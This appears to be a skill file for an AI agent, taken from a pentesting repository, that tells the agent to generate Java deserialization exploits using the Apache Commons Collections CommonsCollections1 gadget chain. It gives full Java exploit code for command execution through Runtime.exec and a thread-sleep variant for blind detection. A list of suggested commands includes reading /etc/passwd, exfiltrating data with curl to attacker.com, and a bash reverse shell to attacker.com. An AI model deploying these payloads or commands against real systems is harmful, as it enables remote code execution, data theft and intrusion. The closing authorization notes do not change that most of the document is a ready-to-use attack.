Hacktricks-skills java-deserialization-payloads

Generate and explain Java deserialization payloads using Apache Commons Collections gadget chains. Use this skill whenever the user mentions Java deserialization, Apache Commons Collections, gadget chains, ysoserial, CommonsCollections1, or needs to create payloads for command execution or blind testing (thread sleep) in Java applications. This skill helps security researchers understand and generate deserialization exploits.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload/SKILL.MD
source content

Java Deserialization Payloads

A skill for generating and explaining Java deserialization payloads, specifically focusing on Apache Commons Collections gadget chains.

When to Use This Skill

Use this skill when:

  • You need to generate Java deserialization payloads for security testing
  • You want to understand how CommonsCollections1 or similar gadget chains work
  • You need to create blind testing payloads (thread sleep) to detect vulnerabilities
  • You're working with ysoserial or similar deserialization tools
  • You need to explain deserialization exploitation to others

CommonsCollections1 Gadget Chain

The CommonsCollections1 payload uses Apache Commons Collections transformers to chain together method calls that result in arbitrary command execution.

How It Works

The payload chains four transformers together:

  1. ConstantTransformer - Returns the
    Runtime
    class
  2. InvokerTransformer - Calls
    getMethod("getRuntime")
    on Runtime class
  3. InvokerTransformer - Invokes
    getRuntime()
    to get a Runtime instance
  4. InvokerTransformer - Calls
    exec(command)
    on the Runtime instance

The chain is triggered by

LazyMap.get()
which calls the factory's
transform()
method on any key lookup.

Equivalent Code

The payload is equivalent to:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Or more precisely:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Generating Payloads

Command Execution Payload

Use the

generate_commons_collections_payload.py
script to create payloads:

# Generate command execution payload
python scripts/generate_commons_collections_payload.py \
    --type command \
    --command "calc.exe" \
    --output payload.java

# Generate thread sleep payload for blind testing
python scripts/generate_commons_collections_payload.py \
    --type sleep \
    --duration 5000 \
    --output sleep_payload.java

Manual Payload Construction

For command execution:

import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Payload {
    public static void main(String... args) {
        String[] command = {"YOUR_COMMAND_HERE"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        lazyMap.get("anything");
    }
}

For blind testing (thread sleep):

import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
    public static void main(String... args) {
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Thread.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"sleep", new Class[]{Long.TYPE}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{7000L}})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        lazyMap.get("anything");
    }
}

Understanding the Chain

The LazyMap Mechanism

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

When

lazyMap.get("anything")
is called:

  1. LazyMap.get()
    checks if the key exists
  2. If not, it calls
    factory.transform(key)
    where factory is the
    ChainedTransformer
  3. ChainedTransformer.transform()
    iterates through all transformers
  4. Each transformer's output becomes the next transformer's input
  5. The final result is the executed command

Transform Flow

Input: "anything"
  ↓
Transformer 1: ConstantTransformer(Runtime.class)
  ↓ Output: Runtime.class
  ↓
Transformer 2: InvokerTransformer("getMethod", ...)
  ↓ Output: Method object for getRuntime()
  ↓
Transformer 3: InvokerTransformer("invoke", ...)
  ↓ Output: Runtime instance
  ↓
Transformer 4: InvokerTransformer("exec", ...)
  ↓ Output: Process handle (command executed)

Triggering the Payload

The payload itself doesn't execute until deserialization occurs. In ysoserial, the

AnnotationInvocationHandler
gadget is used because when it's deserialized, it invokes the
get()
method which triggers the entire chain.

Common Commands

Linux

  • id
    - Check user context
  • whoami
    - Current user
  • cat /etc/passwd
    - Read passwd file
  • curl http://attacker.com/$(id)
    - Exfiltrate data
  • bash -i >& /dev/tcp/attacker.com/4444 0>&1
    - Reverse shell

Windows

  • calc.exe
    - Calculator (test)
  • cmd.exe /c whoami
    - Current user
  • powershell -c "..."
    - PowerShell commands

Blind Testing

Use thread sleep payloads to detect deserialization vulnerabilities:

  • 5 second sleep - Quick test
  • 10 second sleep - More noticeable
  • 30 second sleep - Clear indicator

If the application response is delayed by the sleep duration, the vulnerability is confirmed.

Additional Resources

Safety Notes

  • Only use these payloads on systems you own or have explicit permission to test
  • Deserialization vulnerabilities are critical (CVSS 9.8+)
  • Always have proper authorization before exploitation
  • Document findings responsibly